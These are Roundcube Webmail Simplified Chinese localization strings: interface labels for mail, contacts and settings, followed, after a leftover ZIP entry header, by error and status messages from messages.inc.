$labels['shortheaderto'] = '在 $date 发给 $to';
$labels['shortheaderfrom'] = '在 $date 来自 $from';
$labels['quicksearch'] = '快速查找';
$labels['searchplaceholder'] = '搜索';
$labels['resetsearch'] = '清空';
$labels['searchmod'] = '修改搜索';
$labels['msgtext'] = '整封邮件';
$labels['body'] = '正文';
$labels['type'] = '类型:';
$labels['namex'] = '姓名';
$labels['searchscope'] = '范围';
$labels['currentfolder'] = '当前文件夹';
$labels['subfolders'] = '当前文件夹及其子文件夹';
$labels['allfolders'] = '所有文件夹';
$labels['searchinterval-1W'] = '早于一周';
$labels['searchinterval-1M'] = '早于一个月';
$labels['searchinterval-1Y'] = '早于一年';
$labels['searchinterval1W'] = '不到一周';
$labels['searchinterval1M'] = '不到一个月';
$labels['searchinterval1Y'] = '不到一年';
$labels['openinextwin'] = '在新窗口中打开';
$labels['emlsave'] = '下载(.eml)';
$labels['changeformattext'] = '以文本格式显示';
$labels['changeformathtml'] = '以 HTML 格式显示';
$labels['editasnew'] = '以新邮件编辑';
$labels['send'] = '发送';
$labels['sendmessage'] = '立即发送';
$labels['savemessage'] = '保存为草稿';
$labels['addattachment'] = '添加附件';
$labels['charset'] = '字符集';
$labels['editortype'] = '编辑器类型';
$labels['returnreceipt'] = '需要已读回执';
$labels['dsn'] = '投递状态通知';
$labels['mailreplyintro'] = '在 $date,$sender 写道:';
$labels['originalmessage'] = '原始邮件';
$labels['selectimage'] = '选择图片';
$labels['addimage'] = '添加图片';
$labels['selectmedia'] = '选择影片';
$labels['addmedia'] = '添加影片';
$labels['encrypt'] = '加密';
$labels['encryptmessage'] = '加密邮件';
$labels['encryptmessagemailvelope'] = '用 Mailvelope 加密邮件';
$labels['importpubkeys'] = '导入公钥';
$labels['encryptedsendialog'] = '正在发送加密的邮件';
$labels['encryptandsign'] = '加密并签名';
$labels['keyid'] = '密钥 ID';
$labels['keylength'] = '位';
$labels['keyexpired'] = '已过期';
$labels['keyrevoked'] = '已废除';
$labels['bccinstead'] = '使用密送';
$labels['addheader'] = '添加收件人 (信头)';
$labels['insert'] = '插入';
$labels['recipient'] = '收件人';
$labels['recipientedit'] = '编辑收件人';
$labels['editidents'] = '编辑身份';
$labels['spellcheck'] = '拼写';
$labels['checkspelling'] = '拼写检查';
$labels['resumeediting'] = '继续编辑';
$labels['revertto'] = '恢复至';
$labels['restore'] = '恢复信息';
$labels['restoremessage'] = '是否恢复信息?';
$labels['ignore'] = '忽略';
$labels['responses'] = '回复';
$labels['insertresponse'] = '插入回复';
$labels['manageresponses'] = '管理回复';
$labels['newresponse'] = '创建新回复';
$labels['addresponse'] = '添加回复';
$labels['editresponse'] = '编辑回复';
$labels['editresponses'] = '编辑回复';
$labels['responsename'] = '姓名';
$labels['responsetext'] = '以文本形式回复';
$labels['attach'] = '附加';
$labels['attachments'] = '附件';
$labels['upload'] = '上传';
$labels['uploadprogress'] = '$percent ($current of $total)';
$labels['close'] = '关闭';
$labels['messageoptions'] = '邮件选项...';
$labels['togglecomposeoptions'] = '切换布局选项';
$labels['attachmentrename'] = '重命名附件';
$labels['low'] = '低';
$labels['lowest'] = '最低';
$labels['normal'] = '普通';
$labels['high'] = '高';
$labels['highest'] = '最高';
$labels['nosubject'] = '(无主题)';
$labels['showimages'] = '显示图片';
$labels['allow'] = '允许';
$labels['alwaysshow'] = '总是显示来自 $sender 的图片';
$labels['alwaysallow'] = '总是允许来自 $sender 的信件';
$labels['isdraft'] = '这是一封草稿';
$labels['andnmore'] = '第 $nr 封或更多...';
$labels['headers'] = '信头';
$labels['togglemoreheaders'] = '显示更多消息头';
$labels['togglefullheaders'] = '切换至原始消息头';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = '纯文本';
$labels['savesentmessagein'] = '保存已发送邮件至';
$labels['dontsave'] = '不保存';
$labels['maxuploadsize'] = '上传附件最大不超过 $size';
$labels['addcc'] = '添加抄送';
$labels['addbcc'] = '添加密送';
$labels['addreplyto'] = '添加回复';
$labels['addfollowupto'] = '添加投递组';
$labels['mdnrequest'] = '发件人要求在您阅读这封邮件时发送已读通知。您是否希望通知发件人?';
$labels['receiptread'] = '发送回执(已读)';
$labels['yourmessage'] = '这是您的邮件回执';
$labels['receiptnote'] = '注意:回执只表示邮件在收件人的电脑上被打开过,不表示收件人已经阅读或了解邮件内容。';
$labels['zoomin'] = '放大';
$labels['zoomout'] = '缩小';
$labels['rotate'] = '旋转';
$labels['increaseimage'] = '增加图片大小';
$labels['decreaseimage'] = '减小图片大小';
$labels['rotateimage'] = '旋转图片';
$labels['showtools'] = '显示图像工具';
$labels['hidetools'] = '隐藏图像工具';
$labels['name'] = '显示名称';
$labels['firstname'] = '名字';
$labels['surname'] = '姓氏';
$labels['middlename'] = '中名';
$labels['nameprefix'] = '前缀';
$labels['namesuffix'] = '后缀';
$labels['nickname'] = '昵称';
$labels['jobtitle'] = '职位';
$labels['department'] = '部门';
$labels['gender'] = '性别';
$labels['maidenname'] = '娘家姓';
$labels['email'] = '邮件地址';
$labels['phone'] = '电话';
$labels['address'] = '地址';
$labels['street'] = '街道';
$labels['locality'] = '城市';
$labels['zipcode'] = '邮编';
$labels['region'] = '省份';
$labels['country'] = '国家';
$labels['birthday'] = '生日';
$labels['anniversary'] = '纪念日';
$labels['website'] = '主页';
$labels['instantmessenger'] = '即时通讯';
$labels['notes'] = '备注';
$labels['male'] = '男';
$labels['female'] = '女';
$labels['manager'] = '经理';
$labels['assistant'] = '助理';
$labels['spouse'] = '配偶';
$labels['allfields'] = '所有栏目';
$labels['search'] = '查询';
$labels['searchresult'] = '查找结果';
$labels['advsearch'] = '高级查询';
$labels['advanced'] = '高级选项';
$labels['other'] = '其他';
$labels['printcontact'] = '打印联系人';
$labels['qrcode'] = '二维码';
$labels['typehome'] = '家庭';
$labels['typework'] = '工作';
$labels['typeother'] = '其他';
$labels['typemobile'] = '手机';
$labels['typemain'] = '主要';
$labels['typehomefax'] = '家庭传真';
$labels['typeworkfax'] = '工作传真';
$labels['typecar'] = '车牌';
$labels['typepager'] = '呼机';
$labels['typevideo'] = '视频';
$labels['typeassistant'] = '助理';
$labels['typehomepage'] = '主页';
$labels['typeblog'] = '博客';
$labels['typeprofile'] = '资料';
$labels['addfield'] = '新增条目...';
$labels['addcontact'] = '添加联系人';
$labels['editcontact'] = '编辑联系人';
$labels['contacts'] = '联系人';
$labels['contactproperties'] = '联系人信息';
$labels['contactnameandorg'] = '姓名和公司';
$labels['personalinfo'] = '个人信息';
$labels['personal'] = '个人';
$labels['contactphoto'] = '联系人照片';
$labels['edit'] = '编辑';
$labels['cancel'] = '取消';
$labels['save'] = '保存';
$labels['delete'] = '删除';
$labels['discard'] = '丢弃';
$labels['continue'] = '继续';
$labels['ok'] = '确定';
$labels['rename'] = '重命名';
$labels['addphoto'] = '上传';
$labels['replacephoto'] = '替换照片';
$labels['uploadphoto'] = '上传照片';
$labels['newcontact'] = '新建联系人';
$labels['deletecontact'] = '删除选中的联系人';
$labels['composeto'] = '写信至选中的联系人';
$labels['contactsfromto'] = '第 $from 到 $to 个联系人,共 $count 个';
$labels['print'] = '打印';
$labels['export'] = '导出';
$labels['exportall'] = '导出全部';
$labels['exportsel'] = '导出选中';
$labels['exportvcards'] = '导出联系人为 vCard 格式';
$labels['newgroup'] = '创建新组';
$labels['addgroup'] = '新建组';
$labels['grouprename'] = '重命名群组';
$labels['groupdelete'] = '删除群组';
$labels['groupassign'] = '分配到分组…';
$labels['groupremove'] = '从分组中移除';
$labels['groupremoveselected'] = '删除选中';
$labels['uponelevel'] = '升一级';
$labels['previouspage'] = '上一页';
$labels['firstpage'] = '首页';
$labels['nextpage'] = '下一页';
$labels['lastpage'] = '末页';
$labels['group'] = '分组';
$labels['groups'] = '分组';
$labels['listgroup'] = '列出联系人名单';
$labels['personaladrbook'] = '个人通讯录';
$labels['searchsave'] = '保存搜索';
$labels['searchdelete'] = '删除搜索';
$labels['import'] = '导入';
$labels['importcontacts'] = '导入通讯录';
$labels['importfromfile'] = '从文件导入';
$labels['importtarget'] = '添加联系人至';
$labels['importreplace'] = '替换全部通讯录';
$labels['importgroups'] = '导入群组任务';
$labels['importgroupsall'] = '全部(如果需要则创建新的群组)';
$labels['importgroupsexisting'] = '仅限于已有群组';
$labels['done'] = '完成';
$labels['settingsfor'] = '设置';
$labels['about'] = '关于';
$labels['preferences'] = '选项';
$labels['userpreferences'] = '个人选项';
$labels['editpreferences'] = '修改个人选项';
$labels['identities'] = '发件人身份';
$labels['manageidentities'] = '管理身份';
$labels['newidentity'] = '创建新身份';
$labels['addidentity'] = '添加身份';
$labels['editidentity'] = '编辑身份';
$labels['identityencryption'] = '加密';
$labels['preferhtml'] = '以 HTML 格式显示';
$labels['defaultcharset'] = '默认字符集';
$labels['htmlmessage'] = 'HTML 邮件';
$labels['messagepart'] = '部分';
$labels['digitalsig'] = '数字签名';
$labels['dateformat'] = '日期格式';
$labels['timeformat'] = '时间格式';
$labels['prettydate'] = '短日期格式';
$labels['setdefault'] = '设为默认';
$labels['autodetect'] = '自动';
$labels['language'] = '语言';
$labels['timezone'] = '时区';
$labels['pagesize'] = '每页显示的邮件数量';
$labels['signature'] = '签名';
$labels['dstactive'] = '夏令时';
$labels['showinextwin'] = '在新窗口中打开';
$labels['composeextwin'] = '在新窗口中撰写';
$labels['htmleditor'] = '使用 HTML 编辑器';
$labels['htmlonreply'] = '仅当回复 HTML 邮件时';
$labels['htmlonreplyandforward'] = '仅当回复或转发 HTML 邮件时';
$labels['htmlsignature'] = '使用 HTML 签名';
$labels['showemail'] = '显示邮件地址时显示名字';
$labels['previewpane'] = '显示预览窗口';
$labels['skin'] = '界面皮肤';
$labels['logoutclear'] = '退出时清空回收站';
$labels['logoutcompact'] = '退出时压缩收件箱';
$labels['uisettings'] = '用户界面';
$labels['serversettings'] = '服务端设置';
$labels['mailboxview'] = '显示邮件';
$labels['mdnrequests'] = '发件人请求回执';
$labels['askuser'] = '询问用户';
$labels['autosend'] = '自动发送';
$labels['autosendknown'] = '对我的联系人发送回执,否则询问';
$labels['autosendknownignore'] = '对我的联系人发送回执,否则忽略';
$labels['ignorerequest'] = '忽略请求';
$labels['readwhendeleted'] = '删除后标记为已读';
$labels['flagfordeletion'] = '标记邮件为已删除而不是实际删除';
$labels['skipdeleted'] = '不显示标记为已删除的邮件';
$labels['deletealways'] = '如果移动邮件到回收站失败,则删除';
$labels['deletejunk'] = '直接删除垃圾邮箱中的邮件';
$labels['showremoteimages'] = '显示内嵌的图片';
$labels['allowremoteresources'] = '允许远程资源 (图片和样式表)';
$labels['fromknownsenders'] = '来自已知发件人';
$labels['always'] = '总是';
$labels['alwaysbutplain'] = '始终,除了回复纯文本';
$labels['showinlineimages'] = '在邮件下方显示附件中的图片';
$labels['autosavedraft'] = '自动保存到草稿箱';
$labels['everynminutes'] = '每隔 $n 分钟';
$labels['refreshinterval'] = '刷新间隔';
$labels['never'] = '从不';
$labels['immediately'] = '立即';
$labels['messagesdisplaying'] = '显示参数';
$labels['messagescomposition'] = '撰写邮件';
$labels['mimeparamfolding'] = '附件名';
$labels['2231folding'] = '完整的 RFC 2231(Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2232(MS Outlook)';
$labels['2047folding'] = '完整的 RFC 2047(其它)';
$labels['force7bit'] = '对 8 位字符使用 MIME 编码';
$labels['savelocalstorage'] = "保存到浏览器的本地存储(临时)";
$labels['advancedoptions'] = '高级选项';
$labels['toggleadvancedoptions'] = '切换高级选项';
$labels['focusonnewmessage'] = '新邮件到达时将窗口提升为焦点窗口';
$labels['checkallfolders'] = '检查所有邮件夹里的新邮件';
$labels['defaultfont'] = '默认的 HTML 格式字体';
$labels['mainoptions'] = '主要选项';
$labels['browseroptions'] = '浏览器选项';
$labels['section'] = '项目';
$labels['maintenance'] = '维护';
$labels['newmessage'] = '新邮件';
$labels['signatureoptions'] = '签名选项';
$labels['whenreplying'] = '当回复时';
$labels['replyempty'] = '不要引用原始邮件';
$labels['replytopposting'] = '在原文上面开始新邮件';
$labels['replytoppostingnoindent'] = '在引用上方开始写新的消息 (不要使用缩进)';
$labels['replybottomposting'] = '在原文下面开始新邮件';
$labels['replyremovesignature'] = '当回复时从邮件移除原始签名';
$labels['autoaddsignature'] = '自动插入签名';
$labels['newmessageonly'] = '仅新邮件';
$labels['replyandforwardonly'] = '仅回复和转发邮件';
$labels['insertsignature'] = '插入签名';
$labels['sigbelow'] = '在引文的下方放置签名';
$labels['sigseparator'] = '强制标准的签名分隔符';
$labels['automarkread'] = '标记为已读';
$labels['afternseconds'] = '$n 秒之后';
$labels['reqmdn'] = '总是要求回执';
$labels['reqdsn'] = '总是要求投递状态通知';
$labels['replysamefolder'] = '保存回复邮件到邮件相同的文件夹';
$labels['defaultabook'] = '默认地址薄';
$labels['autocompletesingle'] = '跳过自动完成的电子邮件地址';
$labels['listnamedisplay'] = '列出联系人为';
$labels['spellcheckbeforesend'] = '发邮件前进行拼写检查';
$labels['spellcheckoptions'] = '拼写检查选项';
$labels['spellcheckignoresyms'] = '忽略带符号的单词';
$labels['spellcheckignorenums'] = '忽略带数字的单词';
$labels['spellcheckignorecaps'] = '忽略所有大写字母的单词';
$labels['addtodict'] = '添加到字典中';
$labels['mailtoprotohandler'] = '注册为处理 mailto 链接的程序';
$labels['standardwindows'] = '以标准窗口的形式弹出窗口';
$labels['forwardmode'] = '邮件转发方式';
$labels['inline'] = '内嵌';
$labels['asattachment'] = '作为附件';
$labels['replyallmode'] = '[回复所有]按钮的默认动作';
$labels['replyalldefault'] = '回复全部';
$labels['replyalllist'] = '只回复邮件列表中的联系人(找到的)';
$labels['allmessages'] = '所有邮件';
$labels['folder'] = '文件夹管理';
$labels['folders'] = '文件夹管理';
$labels['foldername'] = '邮件夹名称';
$labels['subscribed'] = '已订阅';
$labels['messagecount'] = '邮件数量';
$labels['create'] = '建立';
$labels['createfolder'] = '建立新邮件夹';
$labels['managefolders'] = '管理邮件夹';
$labels['specialfolders'] = '自定义邮件夹';
$labels['properties'] = '属性';
$labels['folderproperties'] = '文件夹属性';
$labels['parentfolder'] = '父文件夹';
$labels['location'] = '位置';
$labels['info'] = '信息';
$labels['getfoldersize'] = '获得文件夹容量';
$labels['changesubscription'] = '更改订阅';
$labels['foldertype'] = '文件夹类型';
$labels['personalfolder'] = '私有文件夹';
$labels['otherfolder'] = '他人文件夹';
$labels['sharedfolder'] = '共享文件夹';
$labels['findfolders'] = '查找文件夹';
$labels['findcontacts'] = '查找联系人';
$labels['findmail'] = '查找邮件';
$labels['namespace.personal'] = '个人';
$labels['namespace.other'] = '其他用户';
$labels['namespace.shared'] = '已共享';
$labels['dualuselabel'] = '只能包含';
$labels['dualusemail'] = '消息';
$labels['dualusefolder'] = '文件夹';
$labels['generate'] = '生成';
$labels['encryptioncreatekey'] = '创建新密钥对';
$labels['openmailvelopesettings'] = '打开 Mailvelope 设置';
$labels['encryptionprivkeysinmailvelope'] = '你的 Mailvelope 钥匙环中有 $nr 项符合条件的 PGP 私钥:';
$labels['encryptionnoprivkeysinmailvelope'] = '你的 Mailvelope 插件钥匙环中没有符合此发件人身份的 PGP 私钥。你想要生成一个以启用加密消息吗?';
$labels['encryption'] = '加密';
$labels['sortby'] = '排序';
$labels['sortasc'] = '递增排序';
$labels['sortdesc'] = '递减排序';
$labels['undo'] = '撤销';
$labels['installedplugins'] = '已安装插件';
$labels['plugin'] = '插件';
$labels['version'] = '版本';
$labels['source'] = '源代码';
$labels['license'] = '许可协议';
$labels['support'] = '支持';
$labels['savedsearches'] = '已保存的搜索';
$labels['dateformatY'] = 'YYYY';
$labels['dateformaty'] = 'YY';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'DD';
$labels['dateformatj'] = 'D';
$labels['dateformatn'] = 'M';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = '英语';
$labels['westerneuropean'] = '西欧';
$labels['easterneuropean'] = '东欧';
$labels['southeasterneuropean'] = '东南欧';
$labels['baltic'] = '波罗的语';
$labels['cyrillic'] = '西里尔语';
$labels['arabic'] = '阿拉伯语';
$labels['greek'] = '希腊语';
$labels['hebrew'] = '希伯来语';
$labels['turkish'] = '土耳其语';
$labels['nordic'] = '北欧';
$labels['thai'] = '泰语';
$labels['celtic'] = '塞尔特语';
$labels['vietnamese'] = '越南语';
$labels['japanese'] = '日文';
$labels['korean'] = '韩语';
$labels['chinese'] = '中文';
$labels['arialabeltopnav'] = '窗口控制';
$labels['arialabeltasknav'] = '应用事务';
$labels['arialabeltoolbar'] = '应用工具栏';
$labels['arialabelactivetask'] = '活动事务';
$labels['arialabelmessagessearchfilter'] = '邮件列表过滤器';
$labels['arialabelmailsearchform'] = '邮件信息查询表单';
$labels['arialabelcontactsearchform'] = '联系人查询表单';
$labels['arialabelmailquicksearchbox'] = '邮件查询条件';
$labels['arialabelquicksearchbox'] = '查询条件';
$labels['arialabelfoldersearchfilter'] = '文件夹列出过滤器';
$labels['arialabelfoldersearchform'] = '文件夹搜索自';
$labels['arialabelfolderlist'] = '邮件文件夹选择';
$labels['arialabelmessagelist'] = '邮件信息列表';
$labels['arialabelmailpreviewframe'] = '邮件预览';
$labels['arialabelmailboxmenu'] = '文件夹操作菜单';
$labels['arialabellistselectmenu'] = '列表选择菜单';
$labels['arialabelthreadselectmenu'] = '线程列表菜单';
$labels['arialabelmessagelistoptions'] = '邮件列表显示和排序选项';
$labels['arialabelmailimportdialog'] = '邮件导入对话框';
$labels['arialabelmessagenav'] = '邮件导航';
$labels['arialabelmessagebody'] = '邮件正文';
$labels['arialabelmessageactions'] = '邮件动作';
$labels['arialabelcontactquicksearch'] = '联系人查询表单';
$labels['arialabelcontactsearchbox'] = '联系人查询条件';
$labels['arialabelmessageheaders'] = '邮件头';
$labels['arialabelforwardingoptions'] = '转发选项';
$labels['arialabelreplyalloptions'] = '回复全部选项';
$labels['arialabelmoremessageactions'] = '更多邮件选项';
$labels['arialabelmorecontactactions'] = '更多联系人操作';
$labels['arialabelmarkmessagesas'] = '标记选中邮件为...';
$labels['arialabelcomposeoptions'] = '布局选项';
$labels['arialabelresponsesmenu'] = '预设回复菜单';
$labels['arialabelattachmentuploadform'] = '附件上传表单';
$labels['arialabelattachmentmenu'] = '附件选项';
$labels['arialabelmailtomenu'] = '邮件地址选项';
$labels['arialabelattachmentpreview'] = '附件预览';
$labels['ariasummarycomposecontacts'] = '选择联系人或组作为收件人';
$labels['arialabelcontactexportoptions'] = '联系人导出选项';
$labels['arialabelabookgroupoptions'] = '地址簿/组选项';
$labels['arialabelpreferencesform'] = '偏好设置表单';
$labels['arialabelidentityeditfrom'] = '标识编辑表单';
$labels['arialabelresponseeditfrom'] = '回复编辑表单';
$labels['arialabelsearchterms'] = '搜索关键词';
$labels['arialabeldropactionmenu'] = '拖拽选项菜单';
$labels['arialabelheadersmenu'] = '收件人 (信头) 添加菜单';
$labels['arialabelimagetools'] = '图片工具';
$labels['helplistnavigation'] = '列表键盘导航';
$labels['helplistkeyboardnavigation'] = "方向键上/下:移动选中/焦点所在行。
空格键:选中焦点所在行。
Shift + 上/下:再选中上方/下方的行。
Ctrl + 空格键:将焦点所在行添加/移除选中。";
$labels['helplistkeyboardnavmessages'] = "方向键左/右:展开/折叠消息话题(仅话题模式下)
回车键:打开选中/焦点所在消息。
删除键:移动选中消息到垃圾箱。";
$labels['helplistkeyboardnavcontacts'] = "回车:打开选中的联系人";
PK
h�\�G�;99'program/localization/zh_CN/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = '发生错误!';
$messages['loginfailed']  = '登录失败。';
$messages['cookiesdisabled'] = '您的浏览器不支持 Cookies。';
$messages['sessionerror'] = '会话无效或已过期。';
$messages['storageerror'] = '连接至 IMAP 服务器失败。';
$messages['servererror'] = '服务器错误!';
$messages['servererrormsg'] = '服务器错误:$msg';
$messages['accountlocked'] = '登录失败太多次。请稍后再试。';
$messages['connerror'] = '连接错误(连接服务器失败)!';
$messages['dberror'] = '数据库错误!';
$messages['windowopenerror'] = '弹出窗口被屏蔽!';
$messages['requesttimedout'] = '请求超时';
$messages['errorreadonly'] = '无法完成操作。文件夹为只读。';
$messages['errornoperm'] = '无法完成操作。没有权限。';
$messages['erroroverquota'] = '无法完成操作。没有足够的磁盘空间。';
$messages['erroroverquotadelete'] = '没有足够的磁盘空间。请使用 SHIFT+DEL 删除一部分邮件。';
$messages['invalidrequest'] = '请求无效!未保存数据。';
$messages['invalidhost'] = '无效的主机名。';
$messages['nomessagesfound'] = '此邮件夹内无邮件。';
$messages['mailboxempty'] = '邮箱为空';
$messages['nomessages'] = '无邮件';
$messages['refreshing'] = '正在刷新...';
$messages['loading'] = '正在载入...';
$messages['uploading'] = '正在上传文件...';
$messages['attaching'] = '正在附加文件...';
$messages['uploadingmany'] = '正在上传文件...';
$messages['loadingdata'] = '正在载入数据...';
$messages['checkingmail'] = '正在检查新邮件...';
$messages['sendingmessage'] = '正在发送...';
$messages['messagesent'] = '邮件已发送。';
$messages['savingmessage'] = '正在保存邮件...';
$messages['messagesaved'] = '邮件已暂存至草稿箱。';
$messages['successfullysaved'] = '保存成功。';
$messages['savingresponse'] = '正在保存响应文本...';
$messages['deleteresponseconfirm'] = '是否确认删除响应文本?';
$messages['nocontactselected'] = '你还没有选择联系人';
$messages['addedsuccessfully'] = '联系人已添加。';
$messages['contactexists'] = '已经具有此电子邮件地址的联系人已经存在。';
$messages['contactnameexists'] = '已存在同名联系人。';
$messages['blockedimages'] = '由于保护隐私,此邮件中的远程图片未予显示。';
$messages['blockedresources'] = '为了保护您的隐私,远程资源已被屏蔽。';
$messages['encryptedmessage'] = '抱歉!该邮件已被加密,无法显示。';
$messages['externalmessagedecryption'] = '这是一封已加密的邮件,并且不能用您的浏览器扩展解密。';
$messages['nopubkeyfor'] = '没有找到 $email 的有效公钥';
$messages['nopubkeyforsender'] = '在您的发件人身份中没有找到有效公钥。您想只对收件人加密此邮件吗?';
$messages['encryptnoattachments'] = '已经上传的附件不能加密。请在加密编辑器中重新添加它们。';
$messages['searchpubkeyservers'] = '您想在公钥服务器搜索缺失的密钥吗?';
$messages['encryptpubkeysfound'] = '下列公钥已被找到:';
$messages['nocontactsfound'] = '未找到联系人。';
$messages['contactnotfound'] = '未找到指定的联系人。';
$messages['sendingfailed'] = '发送失败。';
$messages['senttooquickly'] = '您需要等待$sec秒才能发送邮件。';
$messages['errorsavingsent'] = '保存已发送邮件时发生错误。';
$messages['errorsaving'] = '保存时发生错误。';
$messages['errormoving'] = '无法移动邮件。';
$messages['errorcopying'] = '无法复制邮件。';
$messages['errordeleting'] = '无法删除邮件。';
$messages['errormarking'] = '无法标记邮件。';
$messages['alerttitle'] = '注意';
$messages['confirmationtitle'] = '您确定……';
$messages['deletecontactconfirm']  = '是否删除选中的联系人?';
$messages['deletegroupconfirm']  = '是否删除选中的群组?';
$messages['deletemessagesconfirm'] = '是否删除选中的邮件?';
$messages['deletefolderconfirm']  = '是否删除选中的邮件夹?';
$messages['purgefolderconfirm']  = '是否删除当前邮件夹中的全部邮件?';
$messages['contactdeleting'] = '正在删除联系人...';
$messages['groupdeleting'] = '正在删除群组...';
$messages['folderdeleting'] = '正在删除文件夹...';
$messages['foldermoving'] = '正在移动文件夹...';
$messages['foldersubscribing'] = '订阅文件夹中...';
$messages['folderunsubscribing'] = '退订中...';
$messages['formincomplete'] = '表单未填写完整。';
$messages['noemailwarning'] = '请输入一个有效的邮件地址。';
$messages['nonamewarning']  = '请输入名称。';
$messages['nopagesizewarning'] = '请输入每页显示的邮件数量。';
$messages['nosenderwarning'] = '请输入发件人的电子邮件地址。';
$messages['recipientsadded'] = '联系人添加成功';
$messages['norecipientwarning'] = '至少输入一个收件人。';
$messages['disclosedrecipwarning'] = '所有的收件人都能看到其他收件人的地址。如果您不想这么做并且想保护他人隐私,您可以使用"密送 (Bcc)"一栏。';
$messages['disclosedreciptitle'] = '太多公共收件人';
$messages['nosubjectwarning']  = '主题为空。您要输入一个主题吗?';
$messages['nosubjecttitle']  = '无主题';
$messages['nobodywarning'] = '要发送没有正文的邮件吗?';
$messages['notsentwarning'] = '此消息已发送并且有未保存的更改。您是否要放弃您的更改?';
$messages['restoresavedcomposedata'] = '您有一封邮件尚未发送.\n\nSubject: $subject\nSaved: $date\n\n您是否要恢复这封邮件?';
$messages['nosearchname'] = '请输入联系人姓名或电子邮件地址。';
$messages['notuploadedwarning'] = '附件尚未全部上传,请耐心等待或者取消上传。';
$messages['searchsuccessful'] = '共找到 $nr 封邮件。';
$messages['contactsearchsuccessful'] = '共找到 $nr 位联系人。';
$messages['searchnomatch'] = '未找到任何符合条件的邮件。';
$messages['searching'] = '正在搜索...';
$messages['checking'] = '正在检查...';
$messages['stillsearching'] = '仍在搜索中……';
$messages['nospellerrors'] = '未发现拼写错误。';
$messages['folderdeleted'] = '删除文件夹成功。';
$messages['foldersubscribed'] = '订阅文件夹成功。';
$messages['folderunsubscribed'] = '退订文件夹成功。';
$messages['deletedsuccessfully'] = '删除成功。';
$messages['converting'] = '格式转换中...';
$messages['messageopenerror'] = '无法从服务器加载邮件内容。';
$messages['filelinkerror'] = '附加文件失败。';
$messages['fileuploaderror'] = '文件上传失败。';
$messages['filesizeerror'] = '上传的文件超过了 $size 的大小限制。';
$messages['filecounterror'] = '您一次最多可以上传 $count 个文件。';
$messages['msgsizeerror'] = '附加文件失败。邮件超出最大大小 ($size)。';
$messages['copysuccess'] = '成功复制 $nr 个联系人。';
$messages['movesuccess'] = '成功移动 $nr 个联系人。';
$messages['copyerror'] = '无法复制联系人。';
$messages['moveerror'] = '无法移动联系人。';
$messages['sourceisreadonly'] = '源地址为只读。';
$messages['errorsavingcontact'] = '无法保存联系人地址。';
$messages['movingmessage'] = '正在移动邮件...';
$messages['copyingmessage'] = '正在复制邮件...';
$messages['copyingcontact'] = '正在复制联系人...';
$messages['movingcontact'] = '移动联系人...';
$messages['deletingmessage'] = '正在删除邮件...';
$messages['markingmessage'] = '正在标记邮件...';
$messages['addingmember'] = '正在添加联系人至群组...';
$messages['removingmember'] = '正在从群组中删除联系人...';
$messages['receiptsent'] = '成功发送一个已读回执。';
$messages['errorsendingreceipt'] = '无法发送已读回执。';
$messages['deleteidentityconfirm'] = '是否删除该身份?';
$messages['nodeletelastidentity'] = '无法删除该身份,这是最后一个。';
$messages['forbiddencharacter'] = '文件夹名包含禁止字符。';
$messages['selectimportfile'] = '请选择要上传的文件。';
$messages['addresswriterror'] = '选中的通讯录不可写。';
$messages['contactaddedtogroup'] = '添加联系人至该群组成功。';
$messages['contactremovedfromgroup'] = '从该群组移除联系人成功。';
$messages['nogroupassignmentschanged'] = '群组资料没有变更。';
$messages['importwait'] = '正在导入,请稍后...';
$messages['importformaterror'] = '导入失败!文件无效。';
$messages['importconfirm'] = '<b>成功导入 $inserted 联系人</b>';
$messages['importconfirmskipped'] = '<b>跳过已存在的 $skipped 项目</b>';
$messages['importmessagesuccess'] = '成功导入 $nr 条信息';
$messages['importmessageerror'] = '导入失败!文件无效';
$messages['opnotpermitted'] = '不允许的操作!';
$messages['nofromaddress'] = '选定身份中缺少电子邮件地址。';
$messages['editorwarning'] = '切换编辑模式可能导致文本格式丢失。是否继续?';
$messages['httpreceivedencrypterror'] = '<b>您的邮件无法发送</b>,因为发生了一个严重的配置错误,请立即联系管理员。';
$messages['smtpconnerror'] = 'SMTP 错误 ($code):连接服务器失败。';
$messages['smtpautherror'] = 'SMTP 错误 ($code): 认证失败。';
$messages['smtpfromerror'] = 'SMTP 错误 ($code):添加发件人失败 "$from" ($msg)。';
$messages['smtptoerror'] = 'SMTP 错误 ($code): 添加收件人失败 "$to" ($msg)。';
$messages['smtprecipientserror'] = 'SMTP 错误: 无法解析收件人列表。';
$messages['smtputf8error'] = 'SMTP 错误:服务器不支持带 Unicode 字符的邮件地址';
$messages['smtpsizeerror'] = 'SMTP 错误:消息长度超过服务器能接受的长度 ($limit)';
$messages['smtperror'] = 'SMTP 错误: $msg';
$messages['emailformaterror'] = '无效的电子邮件地址:$email';
$messages['toomanyrecipients'] = '收件人太多,请减少人数至 $max。';
$messages['maxgroupmembersreached'] = '组员数量超过最大值 $max。';
$messages['internalerror'] = '遇到一个内部错误,请重试。';
$messages['contactdelerror'] = '无法删除联系人。';
$messages['contactdeleted'] = '删除联系人成功。';
$messages['contactrestoreerror'] = '无法恢复已删除的联系人。';
$messages['contactrestored'] = '联系人恢复成功。';
$messages['groupdeleted'] = '删除群组成功。';
$messages['grouprenamed'] = '群组改名成功。';
$messages['groupcreated'] = '成功创建群组';
$messages['savedsearchdeleted'] = '成功删除保存的搜索';
$messages['savedsearchdeleteerror'] = '无法删除保存的搜索';
$messages['savedsearchcreated'] = '成功创建保存的搜索';
$messages['savedsearchcreateerror'] = '无法创建保存的搜索。';
$messages['messagedeleted'] = '删除邮件成功。';
$messages['messagemoved'] = '移动邮件成功。';
$messages['messagemovedtotrash'] = '邮件已成功移动到已删除邮件。';
$messages['messagecopied'] = '复制邮件成功';
$messages['messagemarked'] = '标记邮件成功';
$messages['autocompletechars'] = '至少需要输入 $min 个字符';
$messages['autocompletemore'] = '找到太多的结果。请输入更多字符。';
